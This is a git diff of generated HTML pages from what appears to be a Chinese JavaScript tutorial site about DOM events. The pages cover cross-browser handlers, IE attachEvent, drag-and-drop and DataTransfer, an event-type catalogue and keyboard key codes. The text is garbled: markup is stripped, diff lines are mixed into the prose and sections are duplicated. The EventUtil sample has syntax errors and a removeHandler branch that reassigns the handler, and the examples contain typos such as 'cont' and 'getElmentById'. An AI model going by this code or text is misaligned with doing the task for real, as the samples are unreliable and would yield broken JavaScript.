                                                        为了以跨浏览器的方式处理事件,不少开发人员会使用能够隔离浏览器差异的 JavaScript 库,还有一些开发人员会自己开发最合适的事件处理的方法。自己编写代码其实也不难,只要恰当地使用能力检测即可。要保证处理事件的代码能在大多数浏览器下一致运行,只需关注冒泡阶段。

                                                        EventUtil 的用法如下所示

                                                        var EventUtil = {
                                                        addHandler: function(element, type, handler){
                                                        if (element,.addEventListener) {
                                                        element.addEventListener(type, handler, false);
                                                        } else if (element.attachEvent) {
                                                        element.attachEvent('on' + type, handler);
                                                        } else {
                                                        element["on" + type] = handler;
                                                        }
                                                        removeHandler: function(element, type, handler) {
                                                        if (element.removeEventListener) {
                                                        element.removeEventListener(type, handler, false);
                                                        } else if (element.detachEvent) {
                                                        element.detachEvent("on" + type, handler);
                                                        } else {
                                                        element["on" + type] = handler;
                                                        } else {
                                                        element["on" + type] = null;
                                                        }
                                                        }
                                                        }

                                                        总结

                                                        • HTML 事件处理程序:用户可能在元素刚出现就触发了事件,但此时 JS 代码可能还未加载完毕。其次,HTML 代码和 JavaScript 代码紧密耦合,不利于开发和维护,所以不推荐使用这种方法。
                                                        • DOM0 级事件处理程序:简单且兼容性好,但是在需要对一个元素设置多个事件处理程序时便显得孱弱。
                                                        • DOM2 级事件处理程序:可以轻易的设置多个事件处理程序,但是在删除事件处理程序时,传给 removeEventListener() 的参数必须与之前一致,且 IE9 以下不支持。

                                                        事件处理函数需要注意的:

                                                        • this 指的是 targetcurrentTarget
                                                        • 两种 DOM 方法都会给事件处理函数传一个事件对象作为参数。HTML 方法直接引用 event
                                                        +
                                                        box.addEventListener('click', handle, false);
                                                        box.removeEventListener('click', handle, false);

                                                        IE 事件处理程序

                                                        IE 事件模型共有两个过程:

                                                        事件绑定:

                                                        attachEvent(eventType, handler);

                                                        事件移除:

                                                        detachEvent(evnetType, handler);

                                                        参数说明:

                                                        // Example
                                                        cont btn = document.getElmentById('.btn');
                                                        btn.attachEvent('onclick', showMessage);
                                                        btn.detachEvent('onclick', showMessage);

                                                        跨浏览器的事件处理程序

                                                        为了以跨浏览器的方式处理事件,不少开发人员会使用能够隔离浏览器差异的 JavaScript 库,还有一些开发人员会自己开发最合适的事件处理的方法。自己编写代码其实也不难,只要恰当地使用能力检测即可。要保证处理事件的代码能在大多数浏览器下一致运行,只需关注冒泡阶段。

                                                        EventUtil 的用法如下所示

                                                        var EventUtil = {
                                                        addHandler: function(element, type, handler){
                                                        if (element,.addEventListener) {
                                                        element.addEventListener(type, handler, false);
                                                        } else if (element.attachEvent) {
                                                        element.attachEvent('on' + type, handler);
                                                        } else {
                                                        element["on" + type] = handler;
                                                        }
                                                        removeHandler: function(element, type, handler) {
                                                        if (element.removeEventListener) {
                                                        element.removeEventListener(type, handler, false);
                                                        } else if (element.detachEvent) {
                                                        element.detachEvent("on" + type, handler);
                                                        } else {
                                                        element["on" + type] = handler;
                                                        } else {
                                                        element["on" + type] = null;
                                                        }
                                                        }
                                                        }

                                                        总结

                                                        事件处理函数需要注意的:

                                                        - + diff --git a/document-object-model/events/event-types/clipboard-events/index.html b/document-object-model/events/event-types/clipboard-events/index.html index 68e23f91f..c04e15a7b 100644 --- a/document-object-model/events/event-types/clipboard-events/index.html +++ b/document-object-model/events/event-types/clipboard-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 剪贴板事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/css-animation-events/index.html b/document-object-model/events/event-types/css-animation-events/index.html index 1960a0992..e0d79adef 100644 --- a/document-object-model/events/event-types/css-animation-events/index.html +++ b/document-object-model/events/event-types/css-animation-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + CSS 动画事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/css-transition-events/index.html b/document-object-model/events/event-types/css-transition-events/index.html index 3ef48066f..584dc305d 100644 --- a/document-object-model/events/event-types/css-transition-events/index.html +++ b/document-object-model/events/event-types/css-transition-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + CSS 过渡事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/custom-event/index.html b/document-object-model/events/event-types/custom-event/index.html index ce7fe61bf..eadc45d00 100644 --- a/document-object-model/events/event-types/custom-event/index.html +++ b/document-object-model/events/event-types/custom-event/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 自定义事件 CustomEvent - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/drag-and-drop-events/index.html b/document-object-model/events/event-types/drag-and-drop-events/index.html index b34f6a770..c3e3bbcbe 100644 --- a/document-object-model/events/event-types/drag-and-drop-events/index.html +++ b/document-object-model/events/event-types/drag-and-drop-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 拖拽事件 - JavaScript Guidebook -

                                                        拖拽事件

                                                        每一个可拖动的元素,在拖动过程中,都会经历三个过程:拖动开始 ==> 拖动过程中 ==> 拖动结束

                                                        针对对象事件名称说明MDN 文档
                                                        被拖动的元素dragstart在元素开始拖动时触发文档
                                                        drag在元素拖动时反复触发文档
                                                        dragend在拖动操作完成时触发文档
                                                        目的地对象dragenter当被拖动元素进入目的地元素所占据的屏幕空间时触发文档
                                                        dragover当被拖动元素在目的地元素内时触发(每 100ms 触发一次)文档
                                                        dragleave当被拖动元素没有放下就离开目的地元素时触发文档
                                                        drop文档

                                                        实践应用

                                                        常见业务场景

                                                        • 操作类拖拽:拖拽文件上传
                                                        • 功能性拖拽:拖拽排序,具有指向性,位置互换
                                                        • 使用方便型:对某些固定元素,使其随处可放

                                                        拖放的流程

                                                        拖放的流程:用户通过鼠标选中一个可拖动的(draggable)元素,移动鼠标到一个可放置的(droppable)元素,然后释放鼠标。

                                                        选中 ===> 拖放 ===> 释放

                                                        定义可拖动元素

                                                        在 HTML5 标准中,为了使元素可拖动,需要将元素的 draggable 属性设置为 true

                                                        文本、图片和链接时默认可以拖放的,它们的 draggable 属性自动被设置为 true

                                                        图片和链接按住鼠标左键选中即可拖放。

                                                        文本只有在被选中的情况下才能拖放。如果显示设置文本的 draggable 属性为 true,按住鼠标左键也可以直接拖放。

                                                        draggable 属性:设置元素是否可拖动。

                                                        <element draggable="true | false | auto"></element>
                                                        • true:可以拖动
                                                        • false:禁止拖动
                                                        • auto:跟随浏览器定义是否可以拖动

                                                        拖动事件

                                                        每一个可拖动的元素,在拖动过程中,都会经历三个过程:拖动开始 ==> 拖动过程中 ==> 拖动结束

                                                        针对对象事件名称说明MDN 文档
                                                        被拖动的元素dragstart在元素开始拖动时触发文档
                                                        drag在元素拖动时反复触发文档
                                                        dragend在拖动操作完成时触发文档
                                                        目的地对象dragenter当被拖动元素进入目的地元素所占据的屏幕空间时触发文档
                                                        dragover但被拖动元素在目的地元素内时触发(每 100ms 触发一次)文档
                                                        dragleave当被拖动元素没有放下就离开目的地元素时触发文档

                                                        ⚠️ dragenterdragover 事件的默认行为时拒绝接收任何被拖放的元素。因此,我们必须阻止浏览器这种默认行为。

                                                        ⚠️ 注意当从操作系统向浏览器中拖动文件时,不会触发 dragstartdragend 事件。

                                                        释放事件

                                                        到达目的地之后,释放元素事件。

                                                        针对对象事件名称说明MDN 文档
                                                        目的地对象drop当被拖动元素在目的地元素里放下时触发,一般需要取消浏览器的默认行为文档

                                                        DataTransfer 对象

                                                        与拖放操作所触发的事件同时派发的对象是 DragEvent,它派生于 MouseEvent,具有 Event 与 MouseEvent 对象的所有功能,并增加了 dataTransfer 属性。该属性用于保存拖放的数据和交互信息,返回 DataTransfer 对象。

                                                        DataTransfer 对象定义的属性和方法有很多种,我们看下列入标准的几个。

                                                        属性说明
                                                        types只读属性。它返回一个我们在 dragstart 事件中设置的拖动数据格式的数组。 格式顺序与拖动操作中包含的数据顺序相同。IE10+、Edge、Safari3.1、Firefox3.5+ 和 Chrome4 以上支持该属性。
                                                        files返回拖动操作中的文件列表。包含一个在数据传输上所有可用的本地文件列表。如果拖动操作不涉及拖动文件,此属性是一个空列表。
                                                        dropEffect获取当前选定的拖放操作的类型或将操作设置为新类型。可选值包括 nonemovecopylinkdragover 事件处理程序中针对放置目标来设置 dropEffect。
                                                        effectAllowed指定拖放操作所允许的效果。可选值为 nonecopycopyLinkcopyMovelinklinkMovemovealluninitialized 默认为 uninitialized 表示允许所有的效果。ondragstart 处理程序中设置 effectAllowed 属性。
                                                        方法说明
                                                        void setData(format, data)将拖动操作的拖动数据设置为指定的数据和类型。format 可以是 MIME 类型。
                                                        String getData(format)返回指定格式的数据,formatsetData() 中一致。
                                                        void clearData([format])删除给定类型的拖动操作的数据。如果给定类型的数据不存在,此方法不执行任何操作。如果不给定参数,则删除所有类型的数据。
                                                        void setDragImage(img, xOffset, yOffset)指定一副图像,当拖动发生时,显示在光标下方。大多数情况下不用设置,因为被拖动的节点被创建成默认图片。xy 参数分别指示图像的水平、垂直偏移量

                                                        兼容性

                                                        IEEdgeFirefoxChromeSafariOpera
                                                        111656621148

                                                        社区类库

                                                        参考资料

                                                        可以吧

                                                        不可以

                                                        +

                                                        拖拽事件

                                                        每一个可拖动的元素,在拖动过程中,都会经历三个过程:拖动开始 ==> 拖动过程中 ==> 拖动结束

                                                        针对对象事件名称说明MDN 文档
                                                        被拖动的元素dragstart在元素开始拖动时触发文档
                                                        drag在元素拖动时反复触发文档
                                                        dragend在拖动操作完成时触发文档
                                                        目的地对象dragenter当被拖动元素进入目的地元素所占据的屏幕空间时触发文档
                                                        dragover当被拖动元素在目的地元素内时触发(每 100ms 触发一次)文档
                                                        dragleave当被拖动元素没有放下就离开目的地元素时触发文档
                                                        drop文档

                                                        实践应用

                                                        常见业务场景

                                                        • 操作类拖拽:拖拽文件上传
                                                        • 功能性拖拽:拖拽排序,具有指向性,位置互换
                                                        • 使用方便型:对某些固定元素,使其随处可放

                                                        拖放的流程

                                                        拖放的流程:用户通过鼠标选中一个可拖动的(draggable)元素,移动鼠标到一个可放置的(droppable)元素,然后释放鼠标。

                                                        选中 ===> 拖放 ===> 释放

                                                        定义可拖动元素

                                                        在 HTML5 标准中,为了使元素可拖动,需要将元素的 draggable 属性设置为 true

                                                        文本、图片和链接时默认可以拖放的,它们的 draggable 属性自动被设置为 true

                                                        图片和链接按住鼠标左键选中即可拖放。

                                                        文本只有在被选中的情况下才能拖放。如果显示设置文本的 draggable 属性为 true,按住鼠标左键也可以直接拖放。

                                                        draggable 属性:设置元素是否可拖动。

                                                        <element draggable="true | false | auto"></element>
                                                        • true:可以拖动
                                                        • false:禁止拖动
                                                        • auto:跟随浏览器定义是否可以拖动

                                                        拖动事件

                                                        每一个可拖动的元素,在拖动过程中,都会经历三个过程:拖动开始 ==> 拖动过程中 ==> 拖动结束

                                                        针对对象事件名称说明MDN 文档
                                                        被拖动的元素dragstart在元素开始拖动时触发文档
                                                        drag在元素拖动时反复触发文档
                                                        dragend在拖动操作完成时触发文档
                                                        目的地对象dragenter当被拖动元素进入目的地元素所占据的屏幕空间时触发文档
                                                        dragover但被拖动元素在目的地元素内时触发(每 100ms 触发一次)文档
                                                        dragleave当被拖动元素没有放下就离开目的地元素时触发文档

                                                        ⚠️ dragenterdragover 事件的默认行为时拒绝接收任何被拖放的元素。因此,我们必须阻止浏览器这种默认行为。

                                                        ⚠️ 注意当从操作系统向浏览器中拖动文件时,不会触发 dragstartdragend 事件。

                                                        释放事件

                                                        到达目的地之后,释放元素事件。

                                                        针对对象事件名称说明MDN 文档
                                                        目的地对象drop当被拖动元素在目的地元素里放下时触发,一般需要取消浏览器的默认行为文档

                                                        DataTransfer 对象

                                                        与拖放操作所触发的事件同时派发的对象是 DragEvent,它派生于 MouseEvent,具有 Event 与 MouseEvent 对象的所有功能,并增加了 dataTransfer 属性。该属性用于保存拖放的数据和交互信息,返回 DataTransfer 对象。

                                                        DataTransfer 对象定义的属性和方法有很多种,我们看下列入标准的几个。

                                                        属性说明
                                                        types只读属性。它返回一个我们在 dragstart 事件中设置的拖动数据格式的数组。 格式顺序与拖动操作中包含的数据顺序相同。IE10+、Edge、Safari3.1、Firefox3.5+ 和 Chrome4 以上支持该属性。
                                                        files返回拖动操作中的文件列表。包含一个在数据传输上所有可用的本地文件列表。如果拖动操作不涉及拖动文件,此属性是一个空列表。
                                                        dropEffect获取当前选定的拖放操作的类型或将操作设置为新类型。可选值包括 nonemovecopylinkdragover 事件处理程序中针对放置目标来设置 dropEffect。
                                                        effectAllowed指定拖放操作所允许的效果。可选值为 nonecopycopyLinkcopyMovelinklinkMovemovealluninitialized 默认为 uninitialized 表示允许所有的效果。ondragstart 处理程序中设置 effectAllowed 属性。
                                                        方法说明
                                                        void setData(format, data)将拖动操作的拖动数据设置为指定的数据和类型。format 可以是 MIME 类型。
                                                        String getData(format)返回指定格式的数据,formatsetData() 中一致。
                                                        void clearData([format])删除给定类型的拖动操作的数据。如果给定类型的数据不存在,此方法不执行任何操作。如果不给定参数,则删除所有类型的数据。
                                                        void setDragImage(img, xOffset, yOffset)指定一副图像,当拖动发生时,显示在光标下方。大多数情况下不用设置,因为被拖动的节点被创建成默认图片。xy 参数分别指示图像的水平、垂直偏移量

                                                        兼容性

                                                        IEEdgeFirefoxChromeSafariOpera
                                                        111656621148

                                                        社区类库

                                                        参考资料

                                                        可以吧

                                                        不可以

                                                        - + diff --git a/document-object-model/events/event-types/event-types/index.html b/document-object-model/events/event-types/event-types/index.html index 6bcdfd7dc..867b3b32e 100644 --- a/document-object-model/events/event-types/event-types/index.html +++ b/document-object-model/events/event-types/event-types/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 事件类型 - JavaScript Guidebook -

                                                        事件类型

                                                        DOM 事件被发送用于通知代码相关的事情已经发生了。每个事件都是继承自 Event 类的对象,可以包括自定义的成员属性及函数用于获取事件发生时相关的更多信息。事件可以表示从基本用户交互到渲染模型中发生的事件的自动通知的所有内容。

                                                        资源事件

                                                        事件名称何时触发
                                                        cachedmanifest 中列出的资源已经下载,应用程序现在已缓存
                                                        error资源加载失败时
                                                        abort正在加载资源已经被中止时
                                                        load资源及其相关资源已完成加载
                                                        beforeunloadwindowdocument 及其资源即将被卸载
                                                        unload文档或一个依赖资源正在被卸载

                                                        网络事件

                                                        事件名称何时触发
                                                        online浏览器已获得网络访问
                                                        offline浏览器已失去网络访问

                                                        焦点事件

                                                        事件名称何时触发
                                                        focus元素获得焦点(不会冒泡)
                                                        blur元素失去焦点(不会冒泡)

                                                        Websocket 事件

                                                        事件名称何时触发
                                                        openWebSocket 连接已建立
                                                        message通过 WebSocket 接收到一条消息
                                                        errorWebSocket 连接异常被关闭(比如某些数据无法发送)
                                                        closeWebSocket 连接已关闭

                                                        会话历史事件

                                                        事件名称何时触发
                                                        pagehide用户离开网页时触发
                                                        pageshow用户浏览网页时触发
                                                        pagestate

                                                        CSS 动画事件

                                                        事件名称何时触发
                                                        animationstart某个 CSS 动画开始时触发
                                                        animationend某个 CSS 动画完成时触发
                                                        animationiteration某个 CSS 动画完成后重新开始时触发

                                                        CSS 过渡事件

                                                        事件名称何时触发
                                                        transitionstart某个过渡开始时触发(延时后)
                                                        transitioncancel某个过渡取消后触发
                                                        transitionend某个过渡完成时触发
                                                        transitionrun某个过渡在运行时触发(延时前)

                                                        表单事件

                                                        事件名称何时触发
                                                        reset点击重置按钮时
                                                        submit点击提交按钮

                                                        视图事件

                                                        事件名称何时触发
                                                        fullscreenchange
                                                        fullscreenerror
                                                        resize
                                                        scroll

                                                        剪贴板事件

                                                        事件名称何时触发
                                                        cut已经剪贴选中的文本内容并且复制到剪贴板
                                                        copy已经把选中的文本内容复制到了剪贴板
                                                        paste从剪贴板复制的文本内容被粘贴

                                                        键盘事件

                                                        事件名称何时触发
                                                        keydown按下任意按键
                                                        keypress除 Shift、Fn、CapsLock 外任意键被按住
                                                        keyup释放任意按键

                                                        鼠标事件

                                                        事件名称何时触发
                                                        mouseenter指针移到有事件监听的元素内
                                                        mouseover指针移到有事件监听的元素或者它的子元素内
                                                        mousemove指针在元素内移动时持续触发
                                                        mousedown在元素上按下任意鼠标按钮
                                                        mouseup在元素上释放任意鼠标按键
                                                        click在元素上按下并释放任意鼠标按键
                                                        dbclick在元素上双击鼠标按钮
                                                        contextmenu右键点击
                                                        wheel滚轮向任意方向滚动
                                                        mouseleave指针移出元素范围外(不冒泡)
                                                        mouseout指针移出元素,或者移到它的子元素上
                                                        select文本被选中
                                                        pointerlockchange鼠标被锁定或者解除锁定发生时
                                                        pointerlockerror可能因为一些技术的原因鼠标锁定被禁止时

                                                        拖拽事件

                                                        事件名称何时触发
                                                        dragstart用户开始拖动 HTML 元素或选中的文本
                                                        drag正在拖动元素或文本选区(在此过程中持续触发,每 350ms 触发一次)
                                                        dragend拖放操作结束(松开鼠标按钮或按下 Esc 键)
                                                        dragenter被拖动的元素或文本选区移入有效释放目标区
                                                        dragover被拖动的元素或文本选区正在有效释放目标上被拖放(在此过程中持续触发,每 350ms 触发一次)
                                                        dragleave被拖动的元素或文本选区移出有效释放目标区
                                                        drop元素在有效释放目标区上释放

                                                        媒体事件

                                                        事件名称何时触发
                                                        durationchange当指定音频/视频的时长数据发生变化时
                                                        loadedmetadata当指定音频/视频的元数据已加载时
                                                        loadeddata当当前的数据已加载,单没有足够的数据来播放指定音频/视频的下一帧时
                                                        canplay当浏览器能够开始播放指定的音频/视频时
                                                        canplaythrough当浏览器预计能够在不停下来进行缓冲的情况下持续播放指定的音频/视频时
                                                        ended当指定音频/视频播放完成后触发
                                                        emptied
                                                        stalled浏览器尝试获取媒体数据,但数据不可用时触发
                                                        suspend浏览器刻意不加载媒体数据时触发
                                                        play开始播放音频/视频时触发
                                                        playing当音频/视频因缓冲而暂停或停止后已就绪时触发
                                                        pause当音频/视频已暂停时触发
                                                        waiting当视频由于需要缓冲下一帧而停止时触发
                                                        seeking当用户开始移动/跳跃到音频/视频中的新位置时触发
                                                        seeked当用户已移动/跳跃到音频/视频中的新位置时触发
                                                        ratechange当音频/视频的播放速度已更改时触发
                                                        timeupdate当目前的播放位置已更改时触发
                                                        volumechange当音量已更改时触发

                                                        进度事件

                                                        事件名称何时触发
                                                        loadstart浏览开始寻找指定音频/视频时,即当加载过程开始时触发
                                                        progress浏览器正在下载指定的音频/视频时触发
                                                        error加载过程发生错误时触发
                                                        timeout加载过程由于超时而失败时触发
                                                        abort多媒体数据终止下载时触发,而不是发生错误时触发
                                                        load加载完成时触发
                                                        loadend进度加载停止(在 errorabortload 完成时执行)

                                                        其他更多不常见及非标准事件分类详阅读 Mozilla Events


                                                        参考资料:

                                                        +

                                                        事件类型

                                                        DOM 事件被发送用于通知代码相关的事情已经发生了。每个事件都是继承自 Event 类的对象,可以包括自定义的成员属性及函数用于获取事件发生时相关的更多信息。事件可以表示从基本用户交互到渲染模型中发生的事件的自动通知的所有内容。

                                                        资源事件

                                                        事件名称何时触发
                                                        cachedmanifest 中列出的资源已经下载,应用程序现在已缓存
                                                        error资源加载失败时
                                                        abort正在加载资源已经被中止时
                                                        load资源及其相关资源已完成加载
                                                        beforeunloadwindowdocument 及其资源即将被卸载
                                                        unload文档或一个依赖资源正在被卸载

                                                        网络事件

                                                        事件名称何时触发
                                                        online浏览器已获得网络访问
                                                        offline浏览器已失去网络访问

                                                        焦点事件

                                                        事件名称何时触发
                                                        focus元素获得焦点(不会冒泡)
                                                        blur元素失去焦点(不会冒泡)

                                                        Websocket 事件

                                                        事件名称何时触发
                                                        openWebSocket 连接已建立
                                                        message通过 WebSocket 接收到一条消息
                                                        errorWebSocket 连接异常被关闭(比如某些数据无法发送)
                                                        closeWebSocket 连接已关闭

                                                        会话历史事件

                                                        事件名称何时触发
                                                        pagehide用户离开网页时触发
                                                        pageshow用户浏览网页时触发
                                                        pagestate

                                                        CSS 动画事件

                                                        事件名称何时触发
                                                        animationstart某个 CSS 动画开始时触发
                                                        animationend某个 CSS 动画完成时触发
                                                        animationiteration某个 CSS 动画完成后重新开始时触发

                                                        CSS 过渡事件

                                                        事件名称何时触发
                                                        transitionstart某个过渡开始时触发(延时后)
                                                        transitioncancel某个过渡取消后触发
                                                        transitionend某个过渡完成时触发
                                                        transitionrun某个过渡在运行时触发(延时前)

                                                        表单事件

                                                        事件名称何时触发
                                                        reset点击重置按钮时
                                                        submit点击提交按钮

                                                        视图事件

                                                        事件名称何时触发
                                                        fullscreenchange
                                                        fullscreenerror
                                                        resize
                                                        scroll

                                                        剪贴板事件

                                                        事件名称何时触发
                                                        cut已经剪贴选中的文本内容并且复制到剪贴板
                                                        copy已经把选中的文本内容复制到了剪贴板
                                                        paste从剪贴板复制的文本内容被粘贴

                                                        键盘事件

                                                        事件名称何时触发
                                                        keydown按下任意按键
                                                        keypress除 Shift、Fn、CapsLock 外任意键被按住
                                                        keyup释放任意按键

                                                        鼠标事件

                                                        事件名称何时触发
                                                        mouseenter指针移到有事件监听的元素内
                                                        mouseover指针移到有事件监听的元素或者它的子元素内
                                                        mousemove指针在元素内移动时持续触发
                                                        mousedown在元素上按下任意鼠标按钮
                                                        mouseup在元素上释放任意鼠标按键
                                                        click在元素上按下并释放任意鼠标按键
                                                        dbclick在元素上双击鼠标按钮
                                                        contextmenu右键点击
                                                        wheel滚轮向任意方向滚动
                                                        mouseleave指针移出元素范围外(不冒泡)
                                                        mouseout指针移出元素,或者移到它的子元素上
                                                        select文本被选中
                                                        pointerlockchange鼠标被锁定或者解除锁定发生时
                                                        pointerlockerror可能因为一些技术的原因鼠标锁定被禁止时

                                                        拖拽事件

                                                        事件名称何时触发
                                                        dragstart用户开始拖动 HTML 元素或选中的文本
                                                        drag正在拖动元素或文本选区(在此过程中持续触发,每 350ms 触发一次)
                                                        dragend拖放操作结束(松开鼠标按钮或按下 Esc 键)
                                                        dragenter被拖动的元素或文本选区移入有效释放目标区
                                                        dragover被拖动的元素或文本选区正在有效释放目标上被拖放(在此过程中持续触发,每 350ms 触发一次)
                                                        dragleave被拖动的元素或文本选区移出有效释放目标区
                                                        drop元素在有效释放目标区上释放

                                                        媒体事件

                                                        事件名称何时触发
                                                        durationchange当指定音频/视频的时长数据发生变化时
                                                        loadedmetadata当指定音频/视频的元数据已加载时
                                                        loadeddata当当前的数据已加载,单没有足够的数据来播放指定音频/视频的下一帧时
                                                        canplay当浏览器能够开始播放指定的音频/视频时
                                                        canplaythrough当浏览器预计能够在不停下来进行缓冲的情况下持续播放指定的音频/视频时
                                                        ended当指定音频/视频播放完成后触发
                                                        emptied
                                                        stalled浏览器尝试获取媒体数据,但数据不可用时触发
                                                        suspend浏览器刻意不加载媒体数据时触发
                                                        play开始播放音频/视频时触发
                                                        playing当音频/视频因缓冲而暂停或停止后已就绪时触发
                                                        pause当音频/视频已暂停时触发
                                                        waiting当视频由于需要缓冲下一帧而停止时触发
                                                        seeking当用户开始移动/跳跃到音频/视频中的新位置时触发
                                                        seeked当用户已移动/跳跃到音频/视频中的新位置时触发
                                                        ratechange当音频/视频的播放速度已更改时触发
                                                        timeupdate当目前的播放位置已更改时触发
                                                        volumechange当音量已更改时触发

                                                        进度事件

                                                        事件名称何时触发
                                                        loadstart浏览开始寻找指定音频/视频时,即当加载过程开始时触发
                                                        progress浏览器正在下载指定的音频/视频时触发
                                                        error加载过程发生错误时触发
                                                        timeout加载过程由于超时而失败时触发
                                                        abort多媒体数据终止下载时触发,而不是发生错误时触发
                                                        load加载完成时触发
                                                        loadend进度加载停止(在 errorabortload 完成时执行)

                                                        其他更多不常见及非标准事件分类详阅读 Mozilla Events


                                                        参考资料:

                                                        - + diff --git a/document-object-model/events/event-types/focus-events/index.html b/document-object-model/events/event-types/focus-events/index.html index d1bbc9a38..32544ae69 100644 --- a/document-object-model/events/event-types/focus-events/index.html +++ b/document-object-model/events/event-types/focus-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 焦点事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/form-events/index.html b/document-object-model/events/event-types/form-events/index.html index a2a7abec6..f72f7c4c7 100644 --- a/document-object-model/events/event-types/form-events/index.html +++ b/document-object-model/events/event-types/form-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 表单事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/index.html b/document-object-model/events/event-types/index.html index 01834ca0c..b72bc4454 100644 --- a/document-object-model/events/event-types/index.html +++ b/document-object-model/events/event-types/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/document-object-model/events/event-types/keyboard-events/index.html b/document-object-model/events/event-types/keyboard-events/index.html index 3e0062f38..24771a944 100644 --- a/document-object-model/events/event-types/keyboard-events/index.html +++ b/document-object-model/events/event-types/keyboard-events/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                                                        键盘事件

                                                        用户在使用键盘时会触发键盘事件。

                                                        键盘事件:

                                                        • keydown:当用户按下键盘上的任意时触发,而且如果按住不放的话,会重复触发此事件
                                                        • keypress:当用户按下键盘上的字符键时触发,而且如果按住不放的话,会重复触发此事件
                                                        • keyup:当用户释放键盘上的键时触发

                                                        文本事件:

                                                        • textInput:在文本插入文本框之前会触发 textInput 事件

                                                        程序:

                                                        当用户按下一个键盘上的字符键:keydown -> keypress -> keyup

                                                        当用户按下一个键盘上的非字符键:keydown -> keyup

                                                        键码

                                                        在发生 keydownkeyup 事件时,event 对象的 keycode 属性中会包含一个代码,与键盘上一个特定的键对应。对数字字母字符键,keycode 属性的值与 ASCII 码对应小写字母或数字的编码相同。

                                                        键码键码
                                                        退格(Backspace)8数字小键盘 9105
                                                        制表(Tab)9数字小键盘+107
                                                        回车(Enter)13数字小键盘及大键盘上的-109
                                                        上档(Shift)16数字小键盘.110
                                                        控制(Ctrl)17数字小键盘/111
                                                        Alt18F1112
                                                        暂停/中断(Pause/Break)19F2113
                                                        大写(Caps Lock)20F3114
                                                        退出(Esc)27F4115
                                                        上翻页(Page Up)33F5116
                                                        下翻页(Page Down)34F6117
                                                        结尾(End)35F7118
                                                        开头(Home)36F8119
                                                        左箭头(Left Arrow)37F9120
                                                        上箭头(Up Arrow)38F10121
                                                        右箭头(Right Arrow)39F11122
                                                        下箭头(Down Arrow)40F12123
                                                        插入(Ins)45数字锁144
                                                        删除(Del)46滚动锁145
                                                        左 Windows 键91分号(E/Safari/Chrome)186
                                                        右 Windows 键91分号(Opera/Firefox)59
                                                        上下文菜单键93小于188
                                                        数字小键盘 096大于190
                                                        数字小键盘 197正斜杠191
                                                        数字小键盘 298沉音符192
                                                        数字小键盘 399等于61
                                                        数字小键盘 4100左方括号219
                                                        数字小键盘 5101反斜杠220
                                                        数字小键盘 6102右方括号221
                                                        数字小键盘 7103单引号222
                                                        数字小键盘 8104

                                                        字符编码

                                                        charCode 这个属性只有在发生 keypress 事件才包含值,而且这个值是按下的那个键所代表字符的 ASCⅡ 编码,此时的 keyCode 通常等于 0 或者也可能等于所按键的键码。

                                                        const EventUtil = {
                                                        // 省略的代码
                                                        getCharCode: function(event) {
                                                        if (typeof event.charCode == 'number') {
                                                        return event.charCode;
                                                        } else {
                                                        return event.keyCode;
                                                        }
                                                        },
                                                        };

                                                        这个方法首先检测 charCode 属性是否包含数值(在不支持这个属性的浏览器中,值为 undefined),如果是,则返回改值。否则,就返回 keyCode 属性值。

                                                        textInput 事件

                                                        当用户在可编辑区域中输入字符时,就会触发这个事件。这个用于替代 keypresstextInput 事件的行为稍有不同。区别之一就是任何可以获得焦点的元素都可以触发 keypress 事件,但只有可编辑区域才能触发 textInput 事件。区别之二是 textInput 事件只会在用户按下能够输入实际字符的键时才会被触发,而 keypress 事件则在按下那些能够影响文本显示的键时也会触发(例如退格键)。

                                                        由于 textInput 事件主要考虑的是字符,因此它的 event 对象中还包含一个 deta 属性,这个属性的值就是用户输入的字符(而非字符编码)。换句话说,用户在没有按上档键的情况下按下了 S 键,data 的值就是 "s",而如果在按住上档键时按下该键,data 的值就是 "S"

                                                        设备中的键盘事件

                                                        任天堂 Wii 会在用户按下 Wii 遥控器上的按键时触发键盘事件。尽管没有办法访问 Wii 遥控器中的所有按键,但还是有一些键可以触发键盘事件。

                                                        当用户按下十字键盘(键码为 175 ~ 178)、减号(170)、加号(174)、1(172)或 2(173)键时就会触发键盘事件。但没有办法得知用户是否按下了电源开关、A、B 或主页键。

                                                        iOS 版 Safari 和 Android 版 Webkit 在使用屏幕键盘时会触发键盘事件。

                                                        删除

                                                        Backspace 和 Delete

                                                        const keycode = e.keycode;
                                                        -
                                                        if (keycode === 46 || keycode === 8) {
                                                        }

                                                        兼容 ctrl 和 command

                                                        if (!e.altKey && !e.shiftKey && e.keyCode === 75 && (e.metaKey || e.ctrlKey)) {
                                                        console.log('ctrl+k 或者 command+k ');
                                                        }
                                                        +
                                                        if (keycode === 46 || keycode === 8) {
                                                        }

                                                        兼容 ctrl 和 command

                                                        if (!e.altKey && !e.shiftKey && e.keyCode === 75 && (e.metaKey || e.ctrlKey)) {
